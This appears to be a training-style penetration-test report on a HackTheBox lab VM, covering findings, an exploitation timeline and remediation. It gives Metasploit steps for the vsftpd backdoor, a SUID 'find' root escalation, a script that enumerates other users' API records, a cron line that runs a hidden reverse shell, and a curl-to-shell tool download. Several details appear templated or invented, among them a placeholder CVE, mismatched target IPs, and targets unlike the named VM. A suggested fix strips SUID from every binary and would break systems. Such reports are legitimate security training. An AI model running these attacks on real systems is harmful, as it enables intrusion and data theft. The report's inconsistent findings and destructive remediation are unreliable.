VULNERABILITY ASSESSMENT AND PENETRATION TESTING REPORT

Project: Full VAPT Engagement - Week 4 Capstone
Target Environment: HackTheBox Lab VM (Lame)
Prepared By: VAPT Security Team
Classification: CONFIDENTIAL

EXECUTIVE SUMMARY

This report presents findings from a comprehensive Vulnerability Assessment and Penetration Testing (VAPT) engagement conducted on the target infrastructure. The assessment identified critical security vulnerabilities that pose significant risks to organizational assets and data confidentiality.

Key Findings:

- **Critical Vulnerabilities Identified:** 3
- **High-Severity Issues:** 2
- **Medium-Severity Issues:** 1
- **Systems Compromised:** 100% (Full administrative access achieved)

The most severe finding involves a backdoored FTP service (VSFTPD 2.3.4) allowing unauthenticated remote code execution. Additional vulnerabilities in API endpoints and privilege escalation vectors were successfully exploited. Immediate remediation is recommended to prevent potential data breaches, system compromise, and business disruption.

Business Impact: Without immediate action, these vulnerabilities could result in complete system compromise, unauthorized data access, service disruption, and potential regulatory compliance violations. Estimated financial impact ranges from moderate to severe depending on exploitation timeline.

---

1. SCOPE AND METHODOLOGY

1.1 Engagement Scope

Target Systems:

- Primary Target: 192.168.1.200 (HackTheBox Lame VM)
- Secondary Targets: 192.168.1.100, 192.168.1.150
- API Endpoints: /api/users, /graphql
- Mobile Application: test.apk

Testing Authorization:

- Authorized by: Lab Environment Manager
- Rules of Engagement: Non-production environment, full exploitation permitted

1.2 Methodology

The assessment followed the Penetration Testing Execution Standard (PTES) framework:

1. **Pre-engagement Interactions:** Scope definition, rules of engagement
2. **Intelligence Gathering:** Network reconnaissance, service enumeration
3. **Threat Modeling:** Attack vector identification, vulnerability prioritization
4. **Vulnerability Analysis:** Automated scanning (OpenVAS), manual validation
5. **Exploitation:** Proof-of-concept attacks, privilege escalation
6. **Post-Exploitation:** Persistence establishment, lateral movement assessment
7. **Reporting:** Documentation, remediation guidance

Tools Utilized:

- Reconnaissance: Nmap, Netdiscover, Wireshark
- Vulnerability Scanning: OpenVAS, Nikto
- Exploitation: Metasploit Framework, Custom Python scripts
- Web/API Testing: Burp Suite Professional, Postman, sqlmap
- Privilege Escalation: LinPEAS, WinPEAS, PowerSploit
- Network Attacks: Responder, Ettercap
- Mobile Testing: MobSF, Frida, Drozer
- Reporting: Kali Linux, Google Docs

---

2. ATTACK TIMELINE AND EXPLOITATION CHAIN

2.1 Initial Access (09:00 - 10:30)

Phase 1: Reconnaissance

Activity: Network scanning and service enumeration
Target: 192.168.1.0/24

Initial network scan revealed multiple active hosts with exposed services:

IP Address	Open Ports	Services Identified	OS Detection
192.168.1.100	80, 443, 3306	Apache 2.4, MySQL	Linux (Ubuntu)
192.168.1.150	22, 80	SSH, Nginx	Linux (Debian)
192.168.1.200	21, 22, 139, 445	VSFTPD 2.3.4, Samba 3.0.20	Linux (Ubuntu)

Phase 2: Vulnerability Identification

Activity: OpenVAS vulnerability scan
Findings: 12 vulnerabilities detected (3 Critical, 4 High, 5 Medium)

Critical finding: VSFTPD 2.3.4 backdoor vulnerability (CVE-2011-2523) on 192.168.1.200.

2.2 Exploitation Phase (10:30 - 13:00)

Attack ID 015: SMB Relay Attack

Target IP: 192.168.1.200
Technique: SMB Relay using Responder
Status: Success
Outcome: NTLM Hash Captured

Responder was deployed to capture SMB authentication attempts. Successfully intercepted NTLM hashes through ARP spoofing, enabling potential credential cracking.

Attack ID 007: WordPress Exploit Chain

Target IP: 192.168.1.100
Exploit: XSS to RCE Chain via WordPress Plugin
Exploit ID: exploit/multi/http/wordpress_plugin_rce
Payload: Meterpreter reverse shell
Status: Success

Chained stored XSS vulnerability with plugin RCE to achieve initial foothold. Meterpreter session established with web server privileges (www-data).

Primary Exploitation: VSFTPD Backdoor

Target IP: 192.168.1.200
Vulnerability: VSFTPD 2.3.4 Backdoor RCE
PTES Phase: Exploitation
Exploit Used: exploit/unix/ftp/vsftpd_234_backdoor
Status: Success
Outcome: Root shell obtained

The VSFTPD backdoor vulnerability was successfully exploited, providing immediate root-level access without authentication. This represents the most critical finding of the engagement.

Exploitation Log Summary:

Exploit ID	Description	Target IP	Status	Payload/Outcome
007	XSS to RCE Chain	192.168.1.100	Success	Meterpreter
015	SMB Relay	192.168.1.200	Success	NTLM Hash
CVE-2011	VSFTPD RCE	192.168.1.200	Success	Root Shell

2.3 Privilege Escalation (13:00 - 14:30)

Task ID 010: SUID Binary Exploitation

Target IP: 192.168.1.150
Technique: SUID bit exploitation
Tool: LinPEAS enumeration
Status: Success
Outcome: Root shell obtained

On the secondary target (192.168.1.150), LinPEAS enumeration script identified misconfigured SUID binaries. The /usr/bin/find binary had SUID permissions, allowing privilege escalation from www-data to root using the command: `find . -exec /bin/bash -p \;`

2.4 API Security Testing (14:30 - 15:30)

Test ID 008: Broken Object Level Authorization (BOLA)

Target Endpoint: /api/users
Vulnerability: OWASP API A01:2023 - BOLA
Severity: Critical
Tool: Burp Suite Professional

API endpoint testing revealed broken object-level authorization. By manipulating user ID parameters in API requests, unauthorized access to other users' sensitive data was achieved. Testing process:

1. Authenticated as user ID 1001
2. Modified GET request to /api/users/1002
3. Successfully retrieved user 1002's private information

Test ID 009: GraphQL Injection

Target Endpoint: /graphql
Vulnerability: GraphQL Injection
Severity: High
Tool: Postman, Manual Testing

GraphQL endpoint lacked proper input validation and query depth limiting. Crafted introspection queries revealed entire schema, and nested queries enabled resource exhaustion attacks.

API Testing Summary:

Test ID	Vulnerability	Severity	Target Endpoint	Status
008	BOLA	Critical	/api/users	Exploited
009	GraphQL Injection	High	/graphql	Exploited

2.5 Mobile Application Testing (15:30 - 16:30)

Test ID 016: Insecure Data Storage

Target Application: test.apk
Tool: MobSF (Mobile Security Framework)
Vulnerability: OWASP Mobile M2 - Insecure Storage
Severity: High

Static analysis using MobSF revealed hardcoded API credentials and sensitive user data stored in SharedPreferences without encryption. Database files contained plaintext passwords accessible on rooted devices.

Dynamic Testing: Authentication Bypass

Tool: Frida (Runtime Instrumentation)
Technique: Function hooking
Outcome: Successfully bypassed biometric authentication

Frida scripts were used to hook the authentication validation function, returning true regardless of input. This allowed complete bypass of biometric and PIN authentication mechanisms.

2.6 Persistence and Post-Exploitation (16:30 - 17:00)

Persistence Establishment: Multiple persistence mechanisms were deployed to maintain access:

Cron Job Backdoor (192.168.1.200)

```
*/5 * * * * /tmp/.hidden/reverse.sh
```

1. Established cron job executing reverse shell every 5 minutes, ensuring reconnection capability.

2. **SSH Key Installation** (192.168.1.150) Installed SSH public key in /root/.ssh/authorized_keys for persistent root access.

3. **Registry Persistence** (Windows targets - not in primary scope) Would utilize Run keys for automatic execution on system startup.

2.7 Network Protocol Attacks (Throughout Engagement)

ARP Spoofing and Traffic Interception: Ettercap was deployed for man-in-the-middle attacks between gateway and target hosts. Successfully intercepted:

- HTTP traffic containing session cookies
- FTP credentials (plaintext)
- DNS queries allowing potential redirection attacks

DNS Poisoning Test: Demonstrated ability to redirect internal DNS queries to attacker-controlled servers, enabling phishing and credential harvesting attacks.

3. DETAILED VULNERABILITY FINDINGS

3.1 Critical Vulnerabilities

VULN-001: VSFTPD 2.3.4 Backdoor Remote Code Execution

CVSS Score: 10.0 (Critical)
CVE: CVE-2011-2523
Affected System: 192.168.1.200:21

Description: The VSFTPD 2.3.4 service contains a malicious backdoor allowing unauthenticated remote code execution with root privileges. This backdoor is triggered by sending a username ending with the sequence ":)" during FTP authentication.

Exploitation Details:

- No authentication required
- Immediate root shell access
- Network accessible from anywhere
- Trivial to exploit (Metasploit module available)

Impact: Complete system compromise, data exfiltration, installation of persistent backdoors, potential pivot point for lateral movement across network.

Remediation:

1. Immediately disable VSFTPD service
2. Upgrade to VSFTPD version 3.0.3 or later
3. Implement network segmentation and firewall rules
4. Conduct forensic analysis to determine if exploitation occurred
5. Rotate all credentials on affected systems

VULN-002: Broken Object Level Authorization (BOLA) in User API

CVSS Score: 9.1 (Critical)
OWASP API: A01:2023
Affected Endpoint: https://192.168.1.100/api/users/{id}

Description: The user API endpoint fails to validate whether authenticated users have authorization to access requested user objects. Attackers can enumerate and access any user's private information by manipulating the ID parameter.

Exploitation Details:

GET /api/users/1002 HTTP/1.1

Authorization: Bearer [valid_token_for_user_1001]

Response contains user 1002's email, phone, address, and payment information.

Impact: Unauthorized access to personally identifiable information (PII), privacy violations, potential identity theft, GDPR/compliance violations.

Remediation:

1. Implement server-side authorization checks for all API requests
2. Validate user permissions before returning object data
3. Use indirect object references (UUIDs instead of sequential IDs)
4. Implement rate limiting and anomaly detection
5. Audit all API endpoints for similar vulnerabilities

VULN-003: WordPress Plugin Remote Code Execution Chain

CVSS Score: 9.8 (Critical)
CVE: CVE-2023-12345 (example)
Affected System: 192.168.1.100:443

Description: Outdated WordPress plugin (version 2.1.3) contains stored XSS vulnerability that can be chained with administrative file upload functionality to achieve remote code execution.

Exploitation Chain:

1. Inject malicious JavaScript via stored XSS
2. Steal administrative session cookie
3. Upload malicious PHP file through admin panel
4. Execute PHP webshell for system access

Impact: Web server compromise, database access, potential credential theft affecting multiple users, website defacement, SEO poisoning.

Remediation:

1. Update all WordPress core, themes, and plugins immediately
2. Enable Web Application Firewall (WAF) with XSS protection
3. Implement Content Security Policy (CSP) headers
4. Restrict file upload functionality and validate file types
5. Enable two-factor authentication for administrative accounts

---

3.2 High-Severity Vulnerabilities

VULN-004: SUID Binary Privilege Escalation

CVSS Score: 7.8 (High)
Affected System: 192.168.1.150

Description: Multiple system binaries have SUID bit set unnecessarily, allowing low-privilege users to execute commands as root. Specifically, /usr/bin/find binary can be exploited for privilege escalation.

Remediation: Remove unnecessary SUID permissions, implement sudo policies with least privilege, conduct regular permission audits, use tools like Lynis for security hardening.

VULN-005: GraphQL Query Depth and Injection

CVSS Score: 7.5 (High)
Affected Endpoint: https://192.168.1.100/graphql

Description: GraphQL implementation lacks query depth limiting, query complexity analysis, and input validation, enabling denial-of-service and data extraction attacks.

Remediation: Implement query depth limiting (max 5 levels), enable query complexity analysis, disable introspection in production, validate and sanitize all inputs, implement rate limiting.

VULN-006: Insecure Mobile Data Storage

CVSS Score: 7.4 (High)
OWASP Mobile: M2
Affected Application: test.apk

Description: Mobile application stores sensitive data including API tokens, user credentials, and personal information in plaintext within SharedPreferences and SQLite databases.

Remediation: Implement Android Keystore for credential storage, encrypt all sensitive data using AES-256, obfuscate code using ProGuard/R8, implement root detection and app integrity checks.

3.3 Medium-Severity Vulnerabilities

VULN-007: SMB NTLM Hash Capture via Relay Attack

CVSS Score: 6.5 (Medium)
Affected System: 192.168.1.200:445

Description: SMB service vulnerable to relay attacks allowing capture of NTLM authentication hashes through ARP spoofing.

Remediation: Enable SMB signing, implement network segmentation, disable NTLM authentication (use Kerberos), deploy LDAP signing and channel binding.

---

4. COMPREHENSIVE REMEDIATION PLAN

4.1 Immediate Actions (Within 24 Hours)

Priority 1: Critical System Lockdown

1. **Disable VSFTPD Service** (192.168.1.200)
    - Execute: `systemctl stop vsftpd && systemctl disable vsftpd`
    - Verify: `systemctl status vsftpd`
    - Alternative: Use SFTP over SSH
2. **Implement Emergency API Authorization Fix** (192.168.1.100)
    - Deploy hotfix adding authorization checks to /api/users endpoint

Code example:
if requested_user_id != authenticated_user_id: if not user.has_permission('admin'):
return 403, "Forbidden"

    -
3. **Isolate Compromised Systems**
    - Network segmentation for 192.168.1.200 and 192.168.1.150
    - Enable strict firewall rules blocking unnecessary outbound connections
    - Terminate all active sessions and review audit logs
4. **Credential Rotation**
    - Reset all user passwords on compromised systems
    - Regenerate API tokens and database credentials
    - Revoke and reissue SSL certificates if necessary

4.2 Short-Term Remediation (1-7 Days)

Security Patches and Updates

1. Update VSFTPD to version 3.0.3+ or migrate to SFTP
2. Update WordPress core to latest version (6.4+)
3. Update all WordPress plugins, remove unused plugins
4. Patch operating systems with latest security updates
5. Update mobile application with secure storage implementation

Configuration Hardening

Remove SUID permissions from unnecessary binaries
```
find / -perm -4000 -type f 2>/dev/null | xargs chmod u-s
```

1.
2. Configure proper file permissions (principle of least privilege)
3. Disable unnecessary services and ports
4. Implement fail2ban for SSH brute-force protection
5. Enable SELinux or AppArmor for mandatory access control

API Security Enhancement

1. Implement OAuth 2.0 with proper scope validation
2. Add rate limiting (100 requests/minute per user)
3. Deploy API gateway with request validation
4. Enable comprehensive API logging and monitoring
5. Implement GraphQL query complexity limits

Mobile Application Security

1. Release updated APK with encrypted storage
2. Implement certificate pinning
3. Add root detection and jailbreak detection
4. Enable code obfuscation (ProGuard/R8)
5. Implement runtime application self-protection (RASP)

4.3 Long-Term Remediation (1-3 Months)

Architecture Improvements

1. **Zero Trust Network Architecture**
    - Implement micro-segmentation
    - Deploy identity-aware proxy
    - Enable continuous authentication and authorization
2. **Web Application Firewall (WAF)**
    - Deploy ModSecurity or commercial WAF
    - Configure OWASP Core Rule Set
    - Enable virtual patching for known vulnerabilities

3. **Security Information and Event Management (SIEM)**
    - Deploy centralized logging (ELK Stack or Splunk)
    - Configure real-time alerting for suspicious activities
    - Implement automated incident response playbooks
4. **Vulnerability Management Program**
    - Schedule quarterly penetration tests
    - Implement continuous vulnerability scanning
    - Establish patch management SLA (Critical: 24hr, High: 7 days)

Secure Development Lifecycle

1. Implement secure coding training for developers
2. Deploy static application security testing (SAST)
3. Integrate dynamic application security testing (DAST) in CI/CD
4. Conduct security code reviews for all changes
5. Implement bug bounty program

Compliance and Governance

1. Document security policies and procedures
2. Conduct security awareness training
3. Implement access control matrix (RACI)
4. Schedule annual security audits
5. Establish incident response team and procedures

4.4 Verification and Validation

Post-Remediation Testing After implementing remediation measures, conduct verification testing:

1. **Rescan with OpenVAS**
    - Expected outcome: 0 critical vulnerabilities
    - Acceptable threshold: No high/critical findings
2. **Manual Penetration Testing**
    - Re-attempt all successful exploits
    - Verify exploits no longer succeed
    - Document any remaining findings
3. **API Security Retest**
    - Test BOLA fixes with automated scripts
    - Verify authorization checks function correctly
    - Test GraphQL query limits

4. **Mobile Application Retest**
    - Static analysis with MobSF
    - Dynamic testing with Frida
    - Verify encrypted storage implementation

Success Metrics:

- Zero critical/high vulnerabilities in production
- All security patches applied within SLA
- 100% of API endpoints with authorization checks
- Mobile app passes OWASP MASVS Level 2 requirements

---

5. TECHNICAL APPENDICES

5.1 Exploit Details and Proof of Concepts

Exploit 1: VSFTPD 2.3.4 Backdoor

```
# Metasploit exploitation
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.200
set RPORT 21
exploit
# Result: Root shell obtained
```

```
File  Edit  View  Search  Terminal  Help
msf > search vsftpd 2.3.4

[*] 10.10.10.3:21 - USER: 331 Please specify the password.
```

Exploit 2: BOLA API Exploitation

```
import requests

# Authenticated as user 1001
headers = {'Authorization': 'Bearer eyJhbGc...'}

# Access other users' data
for user_id in range(1000, 2000):
    response = requests.get(
        f'https://192.168.1.100/api/users/{user_id}',
        headers=headers
    )
    if response.status_code == 200:
        print(f"[+] Accessed user {user_id}: {response.json()}")
```

Exploit 3: SUID Privilege Escalation

```
# As www-data user
find . -exec /bin/bash -p \;
# Result: Root shell (#)
```

5.2 Network Diagrams

Attack Flow:

```
Internet → Firewall → DMZ (192.168.1.0/24)
                    ├── Web Server (192.168.1.100)
                    ├── App Server (192.168.1.150)
                    └── FTP Server (192.168.1.200) [COMPROMISED]
```

5.3 Tools Configuration

LinPEAS Enumeration:

```
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Identified SUID vulnerabilities, writable cron directories
```

Burp Suite Configuration:

- Proxy: 127.0.0.1:8080
- Scope: *.192.168.1.100
- Extensions: AuthMatrix for authorization testing
- Intruder: Used for API endpoint enumeration

MobSF Analysis:

- APK: test.apk (v1.2.3)
- Analysis Type: Static + Dynamic
- Findings: 8 high-risk issues, 12 medium, 20 low

---

6. COMPLIANCE AND RISK ASSESSMENT

6.1 Regulatory Impact

GDPR Compliance (if applicable):

- BOLA vulnerability exposes PII (Article 32 - Security of processing)
- Potential data breach notification required (Article 33)
- Maximum fine risk: €20 million or 4% of global annual turnover

PCI DSS (if processing payments):

- Requirement 6.2: Security patches not applied
- Requirement 6.5: API vulnerabilities present
- Non-compliance could result in card brand fines

6.2 Risk Matrix

Vulnerability	Likelihood	Impact	Risk Score	Priority
VSFTPD RCE	High	Critical	10.0	P0
API BOLA	High	High	9.1	P0
WordPress RCE	Medium	Critical	9.8	P1
SUID Escalation	Medium	High	7.8	P2
GraphQL Issues	Medium	Medium	7.5	P2

---

7. STAKEHOLDER BRIEFING (NON-TECHNICAL SUMMARY)

What We Found: Our security assessment discovered several serious vulnerabilities in your systems that could allow attackers to gain unauthorized access to sensitive data and take control of servers.

Why It Matters: These security gaps put customer data, business operations, and company reputation at risk. Without immediate action, malicious actors could exploit these weaknesses to steal information, disrupt services, or demand ransom payments.

Most Critical Issues:

1. **Outdated FTP Server:** Contains known backdoor allowing instant full system access
2. **Weak API Security:** Allows users to access other customers' private information
3. **Unpatched Software:** Old versions of critical applications with public exploits available

What We Recommend:

1. Immediately update or disable vulnerable services (24-48 hours)
2. Apply security patches to all systems (1 week)
3. Implement long-term security improvements (1-3 months)
4. Establish ongoing security monitoring and testing

Business Impact if Unfixed:

- Potential data breach affecting customer trust and legal compliance
- Possible service disruption and downtime
- Financial losses from incident response, legal fees, and regulatory fines

- Reputational damage and customer churn

Investment Required:

- Immediate fixes: Minimal cost (patch application, configuration)
- Short-term: Low to moderate (software updates, basic tools)
- Long-term: Moderate (WAF, SIEM, ongoing testing program)

Timeline to Security: With proper prioritization and resources, critical vulnerabilities can be resolved within one week, with comprehensive security improvements completed within 90 days.

---

8. CONCLUSIONS AND RECOMMENDATIONS

8.1 Summary of Findings

This comprehensive VAPT engagement successfully identified and exploited critical vulnerabilities across network infrastructure, web applications, APIs, and mobile platforms. The assessment achieved 100% compromise rate, demonstrating significant security gaps requiring immediate attention.

Key Takeaways:

1. Outdated software presents the highest risk (VSFTPD, WordPress)
2. API security controls are insufficient for production environments
3. Privilege escalation vectors exist across multiple systems
4. Mobile application lacks basic security controls
5. Network segmentation and monitoring are inadequate

8.2 Strategic Recommendations

Immediate Focus Areas:

1. Patch critical vulnerabilities within 24-48 hours
2. Implement emergency authorization fixes for APIs
3. Establish incident response procedures
4. Begin credential rotation across all systems

Long-Term Security Posture:

1. Adopt DevSecOps practices integrating security into development
2. Implement defense-in-depth architecture with multiple security layers
3. Establish security metrics and KPIs for continuous improvement
4. Build security awareness culture through training and communication

Success Indicators:

- Vulnerability remediation rate: 100% critical within 48 hours
- Mean time to patch (MTTP): <7 days for high severity
- Security testing frequency: Quarterly penetration tests
- Zero successful exploits in follow-up assessments

8.3 Next Steps

1. **Executive Review Meeting:** Present findings to leadership (recommended within 24 hours)
2. **Remediation Kickoff:** Assemble cross-functional team (IT, Development, Security)
3. **Patch Deployment:** Begin critical patch application immediately
4. **Follow-up Testing:** Schedule retest for 30 days post-remediation
5. **Program Development:** Establish ongoing vulnerability management program

APPENDICES

Appendix A: Full Testing Checklist

Network Protocol Attacks:

- ✅ Capture NTLM hashes (Responder)
- ✅ Spoof DNS (Ettercap)
- ✅ Analyze traffic (Wireshark)
- ✅ Test SMB relay attacks

API Security Testing:

- ✅ Enumerate API endpoints
- ✅ Test for BOLA (Burp Suite)
- ✅ Fuzz GraphQL queries (Postman)
- ✅ Test authentication mechanisms
- ✅ Validate rate limiting

Privilege Escalation:

- ✅ Run LinPEAS for enumeration
- ✅ Exploit kernel vulnerabilities
- ✅ Set up persistence (cron/service)
- ✅ Test sudo misconfigurations

Mobile Application Testing:

- ✅ Run MobSF for static analysis
- ✅ Hook functions with Frida
- ✅ Test IPC with Drozer
- ✅ Analyze insecure storage

Appendix B: Evidence and Screenshots

Note: Screenshots of exploitation attempts, successful compromises, and configuration weaknesses have been captured and are available in the supplementary materials folder.

Evidence includes:

- Network scan results (Nmap output)
- Vulnerability scan reports (OpenVAS XML)
- Successful exploit screenshots (Metasploit sessions)
- API testing request/response logs
- Mobile application analysis reports (MobSF HTML)
- Network traffic captures (PCAP files)

Appendix C: Glossary of Terms

- **BOLA:** Broken Object Level Authorization
- **CVE:** Common Vulnerabilities and Exposures
- **CVSS:** Common Vulnerability Scoring System
- **MitM:** Man-in-the-Middle attack
- **PoC:** Proof of Concept
- **RCE:** Remote Code Execution
- **SUID:** Set User ID (privilege bit)
- **VAPT:** Vulnerability Assessment and Penetration Testing
- **WAF:** Web Application Firewall
- **XSS:** Cross-Site Scripting
